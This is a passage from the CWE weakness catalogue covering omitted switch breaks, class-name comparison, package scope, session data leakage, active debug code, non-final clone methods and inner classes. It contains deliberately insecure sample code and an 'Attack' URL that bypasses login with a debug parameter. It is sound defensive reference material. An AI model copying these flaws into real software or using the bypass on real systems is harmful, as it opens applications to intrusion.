MemberOf	C	1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2536

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Incorrect block delimitation

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-484: Omitted Break Statement in Switch

Weakness ID : 484
Structure : Simple
Abstraction : Base

Description

The product omits a break statement within a switch or similar construct, causing code associated with multiple conditions to execute. This can cause problems when the programmer only intended to execute code associated with one condition.

Extended Description

This can lead to critical code executing in situations where it should not.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	670	Always-Incorrect Control Flow Implementation	1475
ChildOf	P	710	Improper Adherence to Coding Standards	1549

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	2326

Weakness Ordinalities

Primary :

Indirect :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic *This weakness can cause unintended logic to be executed and other unexpected application behavior.*	

Detection Methods

White Box

Omission of a break statement might be intentional, in order to support fallthrough. Automated detection methods might therefore be erroneous. Semantic understanding of expected product behavior is required to interpret whether the code is correct.

Black Box

Since this weakness is associated with a code construct, it would be indistinguishable from other errors that produce the same behavior.

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Omitting a break statement so that one may fall through is often indistinguishable from an error, and therefore should be avoided. If you need to use fall-through capabilities, make sure that you have clearly documented this within the switch statement, and ensure that you have examined all the logical possibilities.

Phase: Implementation

The functionality of omitting a break statement could be clarified with an if statement. This method is much safer.

Demonstrative Examples

Example 1:

In both of these examples, a message is printed based on the month passed into the function:

Example Language: Java *(Bad)*

```
public void printMessage(int month){
  switch (month) {
    case 1: print("January");
    case 2: print("February");
    case 3: print("March");
    case 4: print("April");
    case 5: print("May");
    case 6: print("June");
    case 7: print("July");
    case 8: print("August");
    case 9: print("September");
    case 10: print("October");
    case 11: print("November");
    case 12: print("December");
  }
  println(" is a great month");
}
```

Example Language: C *(Bad)*

```
void printMessage(int month){
  switch (month) {
    case 1: printf("January");
    case 2: printf("February");
    case 3: printf("March");
    case 4: printf("April");
    case 5: printff("May");
    case 6: printf("June");
    case 7: printf("July");
    case 8: printf("August");
    case 9: printf("September");
    case 10: printf("October");
    case 11: printf("November");
    case 12: printf("December");
  }
  printf(" is a great month");
}
```

Both examples do not use a break statement after each case, which leads to unintended fall-through behavior. For example, calling "printMessage(10)" will result in the text "OctoberNovemberDecember is a great month" being printed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	2400
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2483
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2484
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Omitted break statement
Software Fault Patterns	SFP4		Unchecked Status Condition

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-486: Comparison of Classes by Name

Weakness ID : 486
Structure : Simple
Abstraction : Variant

Description

The product compares classes by name, which can cause it to use the wrong class when multiple classes can have the same name.

Extended Description

If the decision to trust the methods and data of an object is based on the name of a class, it is possible for malicious users to send objects of the same name as trusted classes and thereby gain the trust afforded to known classes and types.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1025	Comparison Using Wrong Factors	1868
PeerOf	B	386	Symbolic Name not Mapping to Correct Object	942

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *If a product relies solely on the name of an object to determine identity, it may execute the incorrect or unintended code.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Use class equivalency to determine type. Rather than use the class name to determine if an object is of a given type, use the getClass() method, and == operator.

Demonstrative Examples

Example 1:

In this example, the expression in the if statement compares the class of the inputClass object to a trusted class by comparing the class names.

Example Language: Java *(Bad)*

```
if (inputClass.getClass().getName().equals("TrustedClassName")) {
  // Do something assuming you trust inputClass
  // ...
}
```

However, multiple classes can have the same name therefore comparing an object's class by name can allow untrusted classes of the same name as the trusted class to be use to execute unintended or incorrect code. To compare the class of an object to the intended class the getClass() method and the comparison operator "==" should be used to ensure the correct trusted class is used, as shown in the following example.

Example Language: Java *(Good)*

```
if (inputClass.getClass() == TrustedClass.class) {
  // Do something assuming you trust inputClass
  // ...
}
```

Example 2:

In this example, the Java class, TrustedClass, overrides the equals method of the parent class Object to determine equivalence of objects of the class. The overridden equals method first determines if the object, obj, is the same class as the TrustedClass object and then compares the object's fields to determine if the objects are equivalent.

Example Language: Java *(Bad)*

```
public class TrustedClass {
  ...
  @Override
  public boolean equals(Object obj) {
    boolean isEquals = false;
    // first check to see if the object is of the same class
    if (obj.getClass().getName().equals(this.getClass().getName())) {
      // then compare object fields
      ...
      if (...) {
        isEquals = true;
      }
    }
    return isEquals;
  }
  ...
}
```

However, the equals method compares the class names of the object, obj, and the TrustedClass object to determine if they are the same class. As with the previous example using the name of the class to compare the class of objects can lead to the execution of unintended or incorrect code if the object passed to the equals method is of another class with the same name. To compare the class of an object to the intended class, the getClass() method and the comparison operator "==" should be used to ensure the correct trusted class is used, as shown in the following example.

Example Language: Java *(Good)*

```
public boolean equals(Object obj) {
  ...
  // first check to see if the object is of the same class
  if (obj.getClass() == this.getClass()) {
    ...
  }
  ...
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	2328
MemberOf	C	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	2364
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2419
MemberOf	C	1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	1133	2446
MemberOf	C	1397	Comprehensive Categorization: Comparison	1400	2523

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Comparing Classes by Name
CLASP			Comparing classes by name
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ09-J		Compare classes and not class names
Software Fault Patterns	SFP1		Glitch in computation

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-487: Reliance on Package-level Scope

Weakness ID : 487
Structure : Simple
Abstraction : Base

Description

Java packages are not inherently closed; therefore, relying on them for code security is not a good practice.

Extended Description

The purpose of package scope is to prevent accidental access by other parts of a program. This is an ease-of-software-development feature but not a security feature.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1454

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Any data in a Java package can be accessed outside of the Java framework if the package is distributed.*	
Integrity	Modify Application Data *The data in a Java class can be modified by anyone outside of the Java framework if the packages is distributed.*	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Data should be private static and final whenever possible. This will assure that your code is protected by instantiating early, preventing access and tampering.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: Java *(Bad)*

```
package math;
public class Lebesgue implements Integration{
  public final Static String youAreHidingThisFunction(functionToIntegrate){
    return ...;
  }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	2364
MemberOf	C	966	SFP Secondary Cluster: Other Exposures	888	2403
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Relying on package-level scope
The CERT Oracle Secure Coding Standard for Java (2011)	MET04-J		Do not increase the accessibility of overridden or hidden methods

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-488: Exposure of Data Element to Wrong Session

Weakness ID : 488
Structure : Simple
Abstraction : Base

Description

The product does not sufficiently enforce boundaries between the states of different sessions, causing data to be provided to, or used by, the wrong session.

Extended Description

Data can "bleed" from one session to another through member variables of singleton objects, such as Servlets, and objects from a shared pool.

In the case of Servlets, developers sometimes do not understand that, unless a Servlet implements the SingleThreadModel interface, the Servlet is a singleton; there is only one instance of the Servlet, and that single instance is used and re-used to handle multiple requests that are processed simultaneously by different threads. A common result is that developers use Servlet member fields in such a way that one user may inadvertently see another user's data. In other words, storing user data in Servlet member fields introduces a data access race condition.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1469
CanFollow	B	567	Unsynchronized Access to Shared Data in a Multithreaded Context	1288

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1018	Manage User Sessions	2432

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1217	User Session Errors	2479

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Protect the application's sessions from information leakage. Make sure that a session's data is not used or visible by other sessions.

Phase: Testing

Use a static analysis tool to scan the code for information leakage vulnerabilities (e.g. Singleton Member Field).

Phase: Architecture and Design

In a multithreading environment, storing user data in Servlet member fields introduces a data access race condition. Do not use member fields to store information in the Servlet.

Demonstrative Examples

Example 1:

The following Servlet stores the value of a request parameter in a member field and then later echoes the parameter value to the response output stream.

Example Language: Java *(Bad)*

```
public class GuestBook extends HttpServlet {
  String name;
  protected void doPost (HttpServletRequest req, HttpServletResponse res) {
    name = req.getParameter("name");
    ...
    out.println(name + ", thanks for visiting!");
  }
}
```

While this code will work perfectly in a single-user environment, if two users access the Servlet at approximately the same time, it is possible for the two request handler threads to interleave in the following way: Thread 1: assign "Dick" to name Thread 2: assign "Jane" to name Thread 1: print "Jane, thanks for visiting!" Thread 2: print "Jane, thanks for visiting!" Thereby showing the first user the second user's name.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	2328

Nature	Type	ID	Name	V	Page
MemberOf	C	882	CERT C++ Secure Coding Section 14 - Concurrency (CON)	868	2380
MemberOf	C	965	SFP Secondary Cluster: Insecure Session Management	888	2403
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2528

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Data Leaking Between Users

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
59	Session Credential Falsification through Prediction
60	Reusing Session IDs (aka Session Replay)

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-489: Active Debug Code

Weakness ID : 489
Structure : Simple
Abstraction : Base

Description

The product is deployed to unauthorized actors with debugging code still enabled or active, which can create unintended entry points or expose sensitive information.

Extended Description

A common development practice is to add "back door" code specifically designed for debugging or testing purposes that is not intended to be shipped or deployed with the product. These back door entry points create security risks because they are not considered during design or testing and fall outside of the expected operating conditions of the product.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1549
ParentOf	V	11	ASP.NET Misconfiguration: Creating Debug Binary	9
CanPrecede	B	215	Insertion of Sensitive Information Into Debugging Code	551

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Not Technology-Specific *(Prevalence = Undetermined)*

Technology : ICS/OT *(Prevalence = Undetermined)*

Alternate Terms

Leftover debug code : This term originates from Seven Pernicious Kingdoms

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control Other	Bypass Protection Mechanism Read Application Data Gain Privileges or Assume Identity Varies by Context *The severity of the exposed debug application will depend on the particular instance. At the least, it will give an attacker sensitive information about the settings and mechanics of web applications on the server. At worst, as is often the case, the debug application will allow an attacker complete control over the web application and server, as well as confidential information that either of these access.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Build and Compilation

Phase: Distribution

Remove debug code before deploying the application.

Demonstrative Examples

Example 1:

Debug code can be used to bypass authentication. For example, suppose an application has a login script that receives a username and a password. Assume also that a third, optional, parameter, called "debug", is interpreted by the script as requesting a switch to debug mode, and that when this parameter is given the username and password are not checked. In such a case, it is very simple to bypass the authentication process if the special behavior of the application regarding the debug parameter is known. In a case where the form is:

Example Language: HTML *(Bad)*

```
<FORM ACTION="/authenticate_login.cgi">
```

```
  <INPUT TYPE=TEXT name=username>
  <INPUT TYPE=PASSWORD name=password>
  <INPUT TYPE=SUBMIT>
</FORM>
```

Then a conforming link will look like:

Example Language: *(Informative)*

```
http://TARGET/authenticate_login.cgi?username=...&password=...
```

An attacker can change this to:

Example Language: *(Attack)*

```
http://TARGET/authenticate_login.cgi?username=&password=&debug=1
```

Which will grant the attacker access to the site, bypassing the authentication process.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	2328
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2339
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	2421
MemberOf	C	1371	ICS Supply Chain: Poorly Documented or Undocumented Features	1358	2508
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Notes

Other

In J2EE a main method may be a good indicator that debug code has been left in the application, although there may not be any direct security impact.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Leftover Debug Code
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
Software Fault Patterns	SFP28		Unexpected access points

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
121	Exploit Non-Production Interfaces
661	Root/Jailbreak Detection Evasion via Debugging

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-491: Public cloneable() Method Without Final ('Object Hijack')

Weakness ID : 491
Structure : Simple
Abstraction : Variant

Description

A class has a cloneable() method that is not declared final, which allows an object to be created without calling the constructor. This can cause the object to be in an unexpected state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	668	Exposure of Resource to Wrong Sphere	1469

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Unexpected State Varies by Context	

Potential Mitigations

Phase: Implementation

Make the cloneable() method final.

Demonstrative Examples

Example 1:

In this example, a public class "BankAccount" implements the cloneable() method which declares "Object clone(string accountnumber)":

Example Language: Java *(Bad)*

```
public class BankAccount implements Cloneable{
  public Object clone(String accountnumber) throws
  CloneNotSupportedException
  {
    Object returnMe = new BankAccount(account number);
    ...
  }
}
```

Example 2:

In the example below, a clone() method is defined without being declared final.

Example Language: Java *(Bad)*

```
protected Object clone() throws CloneNotSupportedException {
  ...
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	2328
MemberOf	C	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	2364
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	2421
MemberOf	C	1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	1133	2446
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2528

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Mobile Code: Object Hijack
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ07-J		Sensitive classes must not let themselves be copied
Software Fault Patterns	SFP28		Unexpected access points

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-453]OWASP. "OWASP , Attack Category : Mobile code: object hijack". < http://www.owasp.org/index.php/Mobile_code:_object_hijack >.

CWE-492: Use of Inner Class Containing Sensitive Data

Weakness ID : 492
Structure : Simple
Abstraction : Variant

Description

Inner classes are translated into classes that are accessible at package scope and may expose code that the programmer intended to keep private to attackers.

Extended Description

Inner classes quietly introduce several security concerns because of the way they are translated into Java bytecode. In Java source code, it appears that an inner class can be declared to be accessible only by the enclosing class, but Java bytecode has no concept of an inner class, so the compiler must transform an inner class declaration into a peer class with package level access to the original outer class. More insidiously, since an inner class can access private fields in its enclosing class, once an inner class becomes a peer class in bytecode, the compiler converts private fields accessed by the inner class into protected fields.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	668	Exposure of Resource to Wrong Sphere	1469

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *"Inner Classes" data confidentiality aspects can often be overcome.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Using sealed classes protects object-oriented encapsulation paradigms and therefore protects code from being extended in unforeseen ways.

Phase: Implementation

Inner Classes do not provide security. Warning: Never reduce the security of the object from an outer class, going to an inner class. If an outer class is final or private, ensure that its inner class is private as well.

Demonstrative Examples

Example 1:

The following Java Applet code mistakenly makes use of an inner class.

Example Language: Java *(Bad)*

```
public final class urlTool extends Applet {
  private final class urlHelper {
    ...
  }
  ...
}
```

Example 2:

The following example shows a basic use of inner classes. The class OuterClass contains the private member inner class InnerClass. The private inner class InnerClass includes the method concat that accesses the private member variables of the class OuterClass to output the value of one of the private member variables of the class OuterClass and returns a string that is a concatenation of one of the private member variables of the class OuterClass, the separator input parameter of the method and the private member variable of the class InnerClass.

Example Language: Java *(Bad)*

```
public class OuterClass {
  // private member variables of OuterClass
  private String memberOne;
  private String memberTwo;
  // constructor of OuterClass
  public OuterClass(String varOne, String varTwo) {
    this.memberOne = varOne;
    this.memberTwo = varTwo;
  }
  // InnerClass is a member inner class of OuterClass
  private class InnerClass {
    private String innerMemberOne;
    public InnerClass(String innerVarOne) {
      this.innerMemberOne = innerVarOne;
    }
    public String concat(String separator) {
      // InnerClass has access to private member variables of OuterClass
      System.out.println("Value of memberOne is: " + memberOne);
      return OuterClass.this.memberTwo + separator + this.innerMemberOne;
    }
  }
}
```

Although this is an acceptable use of inner classes it demonstrates one of the weaknesses of inner classes that inner classes have complete access to all member variables and methods of the enclosing class even those that are declared private and protected. When inner classes are compiled and translated into Java bytecode the JVM treats the inner class as a peer class with package level access to the enclosing class.

To avoid this weakness of inner classes, consider using either static inner classes, local inner classes, or anonymous inner classes.

The following Java example demonstrates the use of static inner classes using the previous example. The inner class InnerClass is declared using the static modifier that signifies that InnerClass is a static member of the enclosing class OuterClass. By declaring an inner class as a static member of the enclosing class, the inner class can only access other static members and methods of the enclosing class and prevents the inner class from accessing nonstatic member variables and methods of the enclosing class. In this case the inner class InnerClass can only access the static member variable memberTwo of the enclosing class OuterClass but cannot access the nonstatic member variable memberOne.

Example Language: Java *(Good)*

```
public class OuterClass {
  // private member variables of OuterClass
  private String memberOne;
  private static String memberTwo;
  // constructor of OuterClass
  public OuterClass(String varOne, String varTwo) {
    this.memberOne = varOne;
    this.memberTwo = varTwo;
  }
  // InnerClass is a static inner class of OuterClass
  private static class InnerClass {
    private String innerMemberOne;
    public InnerClass(String innerVarOne) {
      this.innerMemberOne = innerVarOne;
    }
    public String concat(String separator) {
      // InnerClass only has access to static member variables of OuterClass
```

```
            return memberTwo + separator + this.innerMemberOne;
        }
    }
}
```

The only limitation with using a static inner class is that as a static member of the enclosing class the inner class does not have a reference to instances of the enclosing class. For many situations this may not be ideal. An alternative is to use a local inner class or an anonymous inner class as shown in the next examples.

Example 3:

In the following example the BankAccount class contains the private member inner class InterestAdder that adds interest to the bank account balance. The start method of the BankAccount class creates an object of the inner class InterestAdder, the InterestAdder inner class implements the ActionListener interface with the method actionPerformed. A Timer object created within the start method of the BankAccount class invokes the actionPerformed method of the InterestAdder class every 30 days to add the interest to the bank account balance based on the interest rate passed to the start method as an input parameter. The inner class InterestAdder needs access to the private member variable balance of the BankAccount class in order to add the interest to the bank account balance.

However as demonstrated in the previous example, because InterestAdder is a non-static member inner class of the BankAccount class, InterestAdder also has access to the private member variables of the BankAccount class - including the sensitive data contained in the private member variables for the bank account owner's name, Social Security number, and the bank account number.

Example Language: Java *(Bad)*

```
public class BankAccount {
    // private member variables of BankAccount class
    private String accountOwnerName;
    private String accountOwnerSSN;
    private int accountNumber;
    private double balance;
    // constructor for BankAccount class
    public BankAccount(String accountOwnerName, String accountOwnerSSN,
    int accountNumber, double initialBalance, int initialRate)
    {
        this.accountOwnerName = accountOwnerName;
        this.accountOwnerSSN = accountOwnerSSN;
        this.accountNumber = accountNumber;
        this.balance = initialBalance;
        this.start(initialRate);
    }
    // start method will add interest to balance every 30 days
    // creates timer object and interest adding action listener object
    public void start(double rate)
    {
        ActionListener adder = new InterestAdder(rate);
        Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
        t.start();
    }
    // InterestAdder is an inner class of BankAccount class
    // that implements the ActionListener interface
    private class InterestAdder implements ActionListener
    {
        private double rate;
        public InterestAdder(double aRate)
        {
            this.rate = aRate;
        }
        public void actionPerformed(ActionEvent event)
        {
            // update interest
            double interest = BankAccount.this.balance * rate / 100;
            BankAccount.this.balance += interest;
        }
    }
}
```

In the following example the InterestAdder class from the above example is declared locally within the start method of the BankAccount class. As a local inner class InterestAdder has its scope restricted to the method (or enclosing block) where it is declared, in this case only the start method has access to the inner class InterestAdder, no other classes including the enclosing class has knowledge of the inner class outside of the start method. This allows the inner class to access private member variables of the enclosing class but only within the scope of the enclosing method or block.

Example Language: Java *(Good)*

```
public class BankAccount {
    // private member variables of BankAccount class
    private String accountOwnerName;
    private String accountOwnerSSN;
    private int accountNumber;
    private double balance;
    // constructor for BankAccount class
    public BankAccount(String accountOwnerName, String accountOwnerSSN,
    int accountNumber, double initialBalance, int initialRate)
    {
        this.accountOwnerName = accountOwnerName;
        this.accountOwnerSSN = accountOwnerSSN;
        this.accountNumber = accountNumber;
        this.balance = initialBalance;
        this.start(initialRate);
    }
    // start method will add interest to balance every 30 days
    // creates timer object and interest adding action listener object
    public void start(final double rate)
    {
        // InterestAdder is a local inner class
        // that implements the ActionListener interface
        class InterestAdder implements ActionListener
        {
            public void actionPerformed(ActionEvent event)
            {
                // update interest
                double interest = BankAccount.this.balance * rate / 100;
                BankAccount.this.balance += interest;
            }
        }
        ActionListener adder = new InterestAdder();
        Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
        t.start();
    }
}
```

A similar approach would be to use an anonymous inner class as demonstrated in the next example. An anonymous inner class is declared without a name and creates only a single instance of the inner class object. As in the previous example the anonymous inner class has its scope restricted to the start method of the BankAccount class.

Example Language: Java *(Good)*

```
public class BankAccount {
    // private member variables of BankAccount class
    private String accountOwnerName;
